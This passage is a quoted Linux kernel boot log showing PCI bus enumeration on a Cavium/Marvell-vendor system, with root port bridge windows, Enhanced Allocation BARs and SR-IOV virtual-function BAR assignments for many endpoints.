> [ 2.688243] pci 0002:00:04.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688254] pci 0002:00:04.0: PCI bridge to [bus fe] (subtractive decode)
> [ 2.688260] pci 0002:00:04.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688353] pci 0002:00:05.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688366] pci 0002:00:05.0: PCI bridge to [bus ff] (subtractive decode)
> [ 2.688369] pci 0002:00:05.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688464] pci 0002:00:06.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688477] pci 0002:00:06.0: PCI bridge to [bus 00] (subtractive decode)
> [ 2.688483] pci 0002:00:06.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688576] pci 0002:00:07.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688588] pci 0002:00:07.0: PCI bridge to [bus 01] (subtractive decode)
> [ 2.688592] pci 0002:00:07.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688687] pci 0002:00:08.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688702] pci 0002:00:08.0: PCI bridge to [bus 02] (subtractive decode)
> [ 2.688708] pci 0002:00:08.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688797] pci 0002:00:09.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688809] pci 0002:00:09.0: PCI bridge to [bus 03] (subtractive decode)
> [ 2.688813] pci 0002:00:09.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688900] pci 0002:00:0a.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688911] pci 0002:00:0a.0: PCI bridge to [bus 04] (subtractive decode)
> [ 2.688915] pci 0002:00:0a.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689004] pci 0002:00:0b.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689015] pci 0002:00:0b.0: PCI bridge to [bus 05] (subtractive decode)
> [ 2.689018] pci 0002:00:0b.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689111] pci 0002:00:0c.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689124] pci 0002:00:0c.0: PCI bridge to [bus 06] (subtractive decode)
> [ 2.689128] pci 0002:00:0c.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689217] pci 0002:00:0d.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689229] pci 0002:00:0d.0: PCI bridge to [bus 07] (subtractive decode)
> [ 2.689232] pci 0002:00:0d.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689325] pci 0002:00:0e.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689338] pci 0002:00:0e.0: PCI bridge to [bus 08] (subtractive decode)
> [ 2.689344] pci 0002:00:0e.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689446] pci 0002:00:0f.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689464] pci 0002:00:0f.0: PCI bridge to [bus 09] (subtractive decode)
> [ 2.689487] pci 0002:00:0f.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689579] pci 0002:00:10.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689592] pci 0002:00:10.0: PCI bridge to [bus 0a] (subtractive decode)
> [ 2.689595] pci 0002:00:10.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689690] pci 0002:00:11.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689706] pci 0002:00:11.0: PCI bridge to [bus 0b] (subtractive decode)
> [ 2.689710] pci 0002:00:11.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689800] pci 0002:00:12.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689813] pci 0002:00:12.0: PCI bridge to [bus 0c] (subtractive decode)
> [ 2.689816] pci 0002:00:12.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.689912] pci 0002:00:13.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.689923] pci 0002:00:13.0: PCI bridge to [bus 0d] (subtractive decode)
> [ 2.689926] pci 0002:00:13.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690015] pci 0002:00:14.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690027] pci 0002:00:14.0: PCI bridge to [bus 0e] (subtractive decode)
> [ 2.690031] pci 0002:00:14.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690118] pci 0002:00:15.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690130] pci 0002:00:15.0: PCI bridge to [bus 0f] (subtractive decode)
> [ 2.690133] pci 0002:00:15.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690230] pci 0002:00:16.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690242] pci 0002:00:16.0: PCI bridge to [bus 10] (subtractive decode)
> [ 2.690246] pci 0002:00:16.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690337] pci 0002:00:17.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690352] pci 0002:00:17.0: PCI bridge to [bus 11] (subtractive decode)
> [ 2.690356] pci 0002:00:17.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690447] pci 0002:00:18.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690460] pci 0002:00:18.0: PCI bridge to [bus 12] (subtractive decode)
> [ 2.690464] pci 0002:00:18.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690563] pci 0002:00:19.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690575] pci 0002:00:19.0: PCI bridge to [bus 13] (subtractive decode)
> [ 2.690579] pci 0002:00:19.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690674] pci 0002:00:1a.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690686] pci 0002:00:1a.0: PCI bridge to [bus 14] (subtractive decode)
> [ 2.690690] pci 0002:00:1a.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690788] pci 0002:00:1b.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690801] pci 0002:00:1b.0: PCI bridge to [bus 15] (subtractive decode)
> [ 2.690805] pci 0002:00:1b.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.690903] pci 0002:00:1c.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.690915] pci 0002:00:1c.0: PCI bridge to [bus 16] (subtractive decode)
> [ 2.690919] pci 0002:00:1c.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.691006] pci 0002:00:1d.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.691019] pci 0002:00:1d.0: PCI bridge to [bus 17] (subtractive decode)
> [ 2.691023] pci 0002:00:1d.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.691111] pci 0002:00:1e.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.691123] pci 0002:00:1e.0: PCI bridge to [bus 18] (subtractive decode)
> [ 2.691127] pci 0002:00:1e.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.691225] pci 0002:00:1f.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.691237] pci 0002:00:1f.0: PCI bridge to [bus 19] (subtractive decode)
> [ 2.691241] pci 0002:00:1f.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.691328] pci 0002:00:06.0: bridge configuration invalid ([bus 00-00]), reconfiguring
> [ 2.691422] pci 0002:01:00.0: [177d:a065] type 00 class 0x020000 PCIe Endpoint
> [ 2.691463] pci 0002:01:00.0: BAR 0 [mem 0x840000000000-0x8401ffffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.691471] pci 0002:01:00.0: BAR 2 [mem 0x840200000000-0x840201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.691478] pci 0002:01:00.0: BAR 4 [mem 0x9fc000000-0x9fc0fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.691483] pci 0002:01:00.0: VF BAR 4 [mem 0x840202000000-0x840203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.691488] pci 0002:01:00.0: bridge window [mem 0x9fc100000-0x9fc13ffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.691546] pci 0002:01:00.0: VF BAR 2 [mem 0x840202000000-0x840213ffffff 64bit]: contains BAR 2 for 9 VFs
> [ 2.691547] pci 0002:01:00.0: VF BAR 4 [mem 0x9fc100000-0x9fc33ffff 64bit]: contains BAR 4 for 9 VFs
> [ 2.691636] pci_bus 0002:01: busn_res: [bus 01-ff] end is updated to 01
> [ 2.691679] pci 0002:02:00.0: [177d:a063] type 00 class 0x020000 PCIe Endpoint
> [ 2.691727] pci 0002:02:00.0: BAR 2 [mem 0x841200000000-0x841201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.691731] pci 0002:02:00.0: BAR 4 [mem 0x9fc340000-0x9fc3bffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.691736] pci 0002:02:00.0: VF BAR 4 [mem 0x841202000000-0x841203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.691741] pci 0002:02:00.0: bridge window [mem 0x9fc3c0000-0x9fc3fffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.691801] pci 0002:02:00.0: VF BAR 2 [mem 0x841202000000-0x841207ffffff 64bit]: contains BAR 2 for 3 VFs
> [ 2.691803] pci 0002:02:00.0: VF BAR 4 [mem 0x9fc3c0000-0x9fc47ffff 64bit]: contains BAR 4 for 3 VFs
> [ 2.691885] pci_bus 0002:02: busn_res: [bus 02-ff] end is updated to 02
> [ 2.691931] pci 0002:03:00.0: [177d:a063] type 00 class 0x020000 PCIe Endpoint
> [ 2.691973] pci 0002:03:00.0: BAR 2 [mem 0x842200000000-0x842201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.691977] pci 0002:03:00.0: BAR 4 [mem 0x9fc480000-0x9fc4fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.691981] pci 0002:03:00.0: VF BAR 4 [mem 0x842202000000-0x842203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.691985] pci 0002:03:00.0: bridge window [mem 0x9fc500000-0x9fc53ffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692038] pci 0002:03:00.0: VF BAR 2 [mem 0x842202000000-0x842207ffffff 64bit]: contains BAR 2 for 3 VFs
> [ 2.692039] pci 0002:03:00.0: VF BAR 4 [mem 0x9fc500000-0x9fc5bffff 64bit]: contains BAR 4 for 3 VFs
> [ 2.692115] pci_bus 0002:03: busn_res: [bus 03-ff] end is updated to 03
> [ 2.692156] pci 0002:04:00.0: [177d:a063] type 00 class 0x020000 PCIe Endpoint
> [ 2.692198] pci 0002:04:00.0: BAR 2 [mem 0x843200000000-0x843201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692202] pci 0002:04:00.0: BAR 4 [mem 0x9fc5c0000-0x9fc63ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692207] pci 0002:04:00.0: VF BAR 4 [mem 0x843202000000-0x843203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692212] pci 0002:04:00.0: bridge window [mem 0x9fc640000-0x9fc67ffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692268] pci 0002:04:00.0: VF BAR 2 [mem 0x843202000000-0x843207ffffff 64bit]: contains BAR 2 for 3 VFs
> [ 2.692269] pci 0002:04:00.0: VF BAR 4 [mem 0x9fc640000-0x9fc6fffff 64bit]: contains BAR 4 for 3 VFs
> [ 2.692346] pci_bus 0002:04: busn_res: [bus 04-ff] end is updated to 04
> [ 2.692386] pci 0002:05:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.692433] pci 0002:05:00.0: BAR 2 [mem 0x844200000000-0x844201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692438] pci 0002:05:00.0: BAR 4 [mem 0x9fc700000-0x9fc77ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692442] pci 0002:05:00.0: VF BAR 4 [mem 0x844202000000-0x844203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692552] pci_bus 0002:05: busn_res: [bus 05-ff] end is updated to 05
> [ 2.692592] pci 0002:06:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.692640] pci 0002:06:00.0: BAR 2 [mem 0x845200000000-0x845201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692645] pci 0002:06:00.0: BAR 4 [mem 0x9fc780000-0x9fc7fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692649] pci 0002:06:00.0: VF BAR 4 [mem 0x845202000000-0x845203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692758] pci_bus 0002:06: busn_res: [bus 06-ff] end is updated to 06
> [ 2.692801] pci 0002:07:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.692850] pci 0002:07:00.0: BAR 2 [mem 0x846200000000-0x846201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692855] pci 0002:07:00.0: BAR 4 [mem 0x9fc800000-0x9fc87ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.692859] pci 0002:07:00.0: VF BAR 4 [mem 0x846202000000-0x846203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.692967] pci_bus 0002:07: busn_res: [bus 07-ff] end is updated to 07
> [ 2.693005] pci 0002:08:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.693046] pci 0002:08:00.0: BAR 2 [mem 0x847200000000-0x847201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693051] pci 0002:08:00.0: BAR 4 [mem 0x9fc880000-0x9fc8fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693055] pci 0002:08:00.0: VF BAR 4 [mem 0x847202000000-0x847203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.693158] pci_bus 0002:08: busn_res: [bus 08-ff] end is updated to 08
> [ 2.693198] pci 0002:09:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.693242] pci 0002:09:00.0: BAR 2 [mem 0x848200000000-0x848201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693248] pci 0002:09:00.0: BAR 4 [mem 0x9fc900000-0x9fc97ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693253] pci 0002:09:00.0: VF BAR 4 [mem 0x848202000000-0x848203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.693355] pci_bus 0002:09: busn_res: [bus 09-ff] end is updated to 09
> [ 2.693396] pci 0002:0a:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.693442] pci 0002:0a:00.0: BAR 2 [mem 0x849200000000-0x849201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693447] pci 0002:0a:00.0: BAR 4 [mem 0x9fc980000-0x9fc9fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693451] pci 0002:0a:00.0: VF BAR 4 [mem 0x849202000000-0x849203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.693561] pci_bus 0002:0a: busn_res: [bus 0a-ff] end is updated to 0a
> [ 2.693602] pci 0002:0b:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.693686] pci 0002:0b:00.0: BAR 2 [mem 0x84a200000000-0x84a201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693691] pci 0002:0b:00.0: BAR 4 [mem 0x9fca00000-0x9fca7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693696] pci 0002:0b:00.0: VF BAR 4 [mem 0x84a202000000-0x84a203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.693804] pci_bus 0002:0b: busn_res: [bus 0b-ff] end is updated to 0b
> [ 2.693848] pci 0002:0c:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.693891] pci 0002:0c:00.0: BAR 2 [mem 0x84b200000000-0x84b201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693896] pci 0002:0c:00.0: BAR 4 [mem 0x9fca80000-0x9fcafffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.693901] pci 0002:0c:00.0: VF BAR 4 [mem 0x84b202000000-0x84b203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.694007] pci_bus 0002:0c: busn_res: [bus 0c-ff] end is updated to 0c
> [ 2.694046] pci 0002:0d:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.694088] pci 0002:0d:00.0: BAR 2 [mem 0x84c200000000-0x84c201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694092] pci 0002:0d:00.0: BAR 4 [mem 0x9fcb00000-0x9fcb7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694097] pci 0002:0d:00.0: VF BAR 4 [mem 0x84c202000000-0x84c203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.694196] pci_bus 0002:0d: busn_res: [bus 0d-ff] end is updated to 0d
> [ 2.694238] pci 0002:0e:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.694282] pci 0002:0e:00.0: BAR 2 [mem 0x84d200000000-0x84d201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694287] pci 0002:0e:00.0: BAR 4 [mem 0x9fcb80000-0x9fcbfffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694292] pci 0002:0e:00.0: VF BAR 4 [mem 0x84d202000000-0x84d203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.694392] pci_bus 0002:0e: busn_res: [bus 0e-ff] end is updated to 0e
> [ 2.694437] pci 0002:0f:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.694484] pci 0002:0f:00.0: BAR 2 [mem 0x84e200000000-0x84e201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694489] pci 0002:0f:00.0: BAR 4 [mem 0x9fcc00000-0x9fcc7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694495] pci 0002:0f:00.0: VF BAR 4 [mem 0x84e202000000-0x84e203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.694604] pci_bus 0002:0f: busn_res: [bus 0f-ff] end is updated to 0f
> [ 2.694646] pci 0002:10:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.694692] pci 0002:10:00.0: BAR 2 [mem 0x84f200000000-0x84f201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694698] pci 0002:10:00.0: BAR 4 [mem 0x9fcc80000-0x9fccfffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694703] pci 0002:10:00.0: VF BAR 4 [mem 0x84f202000000-0x84f203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.694809] pci_bus 0002:10: busn_res: [bus 10-ff] end is updated to 10
> [ 2.694857] pci 0002:11:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.694900] pci 0002:11:00.0: BAR 2 [mem 0x850200000000-0x850201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694905] pci 0002:11:00.0: BAR 4 [mem 0x9fcd00000-0x9fcd7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.694912] pci 0002:11:00.0: VF BAR 4 [mem 0x850202000000-0x850203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.695016] pci_bus 0002:11: busn_res: [bus 11-ff] end is updated to 11
> [ 2.695055] pci 0002:12:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.695099] pci 0002:12:00.0: BAR 2 [mem 0x851200000000-0x851201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695104] pci 0002:12:00.0: BAR 4 [mem 0x9fcd80000-0x9fcdfffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695108] pci 0002:12:00.0: VF BAR 4 [mem 0x851202000000-0x851203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.695208] pci_bus 0002:12: busn_res: [bus 12-ff] end is updated to 12
> [ 2.695252] pci 0002:13:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.695295] pci 0002:13:00.0: BAR 2 [mem 0x852200000000-0x852201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695300] pci 0002:13:00.0: BAR 4 [mem 0x9fce00000-0x9fce7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695304] pci 0002:13:00.0: VF BAR 4 [mem 0x852202000000-0x852203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.695408] pci_bus 0002:13: busn_res: [bus 13-ff] end is updated to 13
> [ 2.695451] pci 0002:14:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.695498] pci 0002:14:00.0: BAR 2 [mem 0x853200000000-0x853201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695501] pci 0002:14:00.0: BAR 4 [mem 0x9fce80000-0x9fcefffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695509] pci 0002:14:00.0: VF BAR 4 [mem 0x853202000000-0x853203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.695631] pci_bus 0002:14: busn_res: [bus 14-ff] end is updated to 14
> [ 2.695673] pci 0002:15:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.695721] pci 0002:15:00.0: BAR 2 [mem 0x854200000000-0x854201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695726] pci 0002:15:00.0: BAR 4 [mem 0x9fcf00000-0x9fcf7ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695730] pci 0002:15:00.0: VF BAR 4 [mem 0x854202000000-0x854203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.695839] pci_bus 0002:15: busn_res: [bus 15-ff] end is updated to 15
> [ 2.695881] pci 0002:16:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.695930] pci 0002:16:00.0: BAR 2 [mem 0x855200000000-0x855201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695934] pci 0002:16:00.0: BAR 4 [mem 0x9fcf80000-0x9fcffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.695939] pci 0002:16:00.0: VF BAR 4 [mem 0x855202000000-0x855203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.696045] pci_bus 0002:16: busn_res: [bus 16-ff] end is updated to 16
> [ 2.696084] pci 0002:17:00.0: [177d:a0fb] type 00 class 0x088000 PCIe Endpoint
> [ 2.696125] pci 0002:17:00.0: BAR 2 [mem 0x856200000000-0x856201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696130] pci 0002:17:00.0: BAR 4 [mem 0x9fd000000-0x9fd07ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696134] pci 0002:17:00.0: VF BAR 4 [mem 0x856202000000-0x856203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.696236] pci_bus 0002:17: busn_res: [bus 17-ff] end is updated to 17
> [ 2.696278] pci 0002:18:00.0: [177d:a0fb] type 00 class 0x088000 PCIe Endpoint
> [ 2.696322] pci 0002:18:00.0: BAR 2 [mem 0x857200000000-0x857201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696327] pci 0002:18:00.0: BAR 4 [mem 0x9fd080000-0x9fd0fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696332] pci 0002:18:00.0: VF BAR 4 [mem 0x857202000000-0x857203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.696436] pci_bus 0002:18: busn_res: [bus 18-ff] end is updated to 18
> [ 2.696485] pci 0002:19:00.0: [177d:a0fb] type 00 class 0x088000 PCIe Endpoint
> [ 2.696528] pci 0002:19:00.0: BAR 2 [mem 0x858200000000-0x858201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696532] pci 0002:19:00.0: BAR 4 [mem 0x9fd100000-0x9fd17ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696537] pci 0002:19:00.0: VF BAR 4 [mem 0x858202000000-0x858203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.696645] pci_bus 0002:19: busn_res: [bus 19-ff] end is updated to 19
> [ 2.696686] pci 0002:1a:00.0: [177d:a0fb] type 00 class 0x088000 PCIe Endpoint
> [ 2.696734] pci 0002:1a:00.0: BAR 2 [mem 0x859200000000-0x859201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696738] pci 0002:1a:00.0: BAR 4 [mem 0x9fd180000-0x9fd1fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696742] pci 0002:1a:00.0: VF BAR 4 [mem 0x859202000000-0x859203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.696852] pci_bus 0002:1a: busn_res: [bus 1a-ff] end is updated to 1a
> [ 2.696894] pci 0002:1b:00.0: [177d:a0e2] type 00 class 0x020000 PCIe Endpoint
> [ 2.696942] pci 0002:1b:00.0: BAR 2 [mem 0x85a200000000-0x85a201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696947] pci 0002:1b:00.0: BAR 4 [mem 0x9fd200000-0x9fd27ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.696951] pci 0002:1b:00.0: VF BAR 4 [mem 0x85a202000000-0x85a203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.697058] pci_bus 0002:1b: busn_res: [bus 1b-ff] end is updated to 1b
> [ 2.697097] pci 0002:1c:00.0: [177d:a0e0] type 00 class 0x020000 PCIe Endpoint
> [ 2.697137] pci 0002:1c:00.0: BAR 2 [mem 0x85b200000000-0x85b201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.697142] pci 0002:1c:00.0: BAR 4 [mem 0x9fd280000-0x9fd2fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.697146] pci 0002:1c:00.0: VF BAR 4 [mem 0x85b202000000-0x85b203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.697151] pci 0002:1c:00.0: bridge window [mem 0x9fd300000-0x9fd33ffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.697203] pci 0002:1c:00.0: VF BAR 2 [mem 0x85b202000000-0x85b203ffffff 64bit]: contains BAR 2 for 1 VFs
> [ 2.697205] pci 0002:1c:00.0: VF BAR 4 [mem 0x9fd300000-0x9fd33ffff 64bit]: contains BAR 4 for 1 VFs
> [ 2.697276] pci_bus 0002:1c: busn_res: [bus 1c-ff] end is updated to 1c
> [ 2.697316] pci 0002:1d:00.0: [177d:a0f0] type 00 class 0x088000 PCIe Endpoint
> [ 2.697361] pci 0002:1d:00.0: BAR 2 [mem 0x85c200000000-0x85c201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.697366] pci 0002:1d:00.0: BAR 4 [mem 0x9fd340000-0x9fd43ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.697371] pci 0002:1d:00.0: VF BAR 4 [mem 0x85c202000000-0x85c203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.697376] pci 0002:1d:00.0: bridge window [mem 0x9fd440000-0x9fd47ffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.697429] pci 0002:1d:00.0: VF BAR 2 [mem 0x85c202000000-0x85c211ffffff 64bit]: contains BAR 2 for 8 VFs
> [ 2.697431] pci 0002:1d:00.0: VF BAR 4 [mem 0x9fd440000-0x9fd63ffff 64bit]: contains BAR 4 for 8 VFs
> [ 2.697520] pci_bus 0002:1d: busn_res: [bus 1d-ff] end is updated to 1d
> [ 2.697564] pci 0002:1e:00.0: [177d:a0f9] type 00 class 0x088000 PCIe Endpoint
> [ 2.697609] pci 0002:1e:00.0: BAR 2 [mem 0x85d200000000-0x85d201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.697614] pci 0002:1e:00.0: BAR 4 [mem 0x9fd640000-0x9fd73ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.697618] pci 0002:1e:00.0: VF BAR 4 [mem 0x85d202000000-0x85d203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.697623] pci 0002:1e:00.0: bridge window [mem 0x9fd740000-0x9fd77ffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.697682] pci 0002:1e:00.0: VF BAR 2 [mem 0x85d202000000-0x85d209ffffff 64bit]: contains BAR 2 for 4 VFs
> [ 2.697683] pci 0002:1e:00.0: VF BAR 4 [mem 0x9fd740000-0x9fd83ffff 64bit]: contains BAR 4 for 4 VFs
> [ 2.697765] pci_bus 0002:1e: busn_res: [bus 1e-ff] end is updated to 1e
> [ 2.697837] pci_bus 0002:1f: busn_res: [bus 1f-ff] end is updated to 1f
> [ 2.697885] pci 0002:20:00.0: [177d:a0f2] type 00 class 0x108000 PCIe Endpoint
> [ 2.697933] pci 0002:20:00.0: BAR 2 [mem 0x85f200000000-0x85f201ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.697938] pci 0002:20:00.0: BAR 4 [mem 0x9fd840000-0x9fe03ffff 64bit]: from Enhanced Allocation, properties 0x0
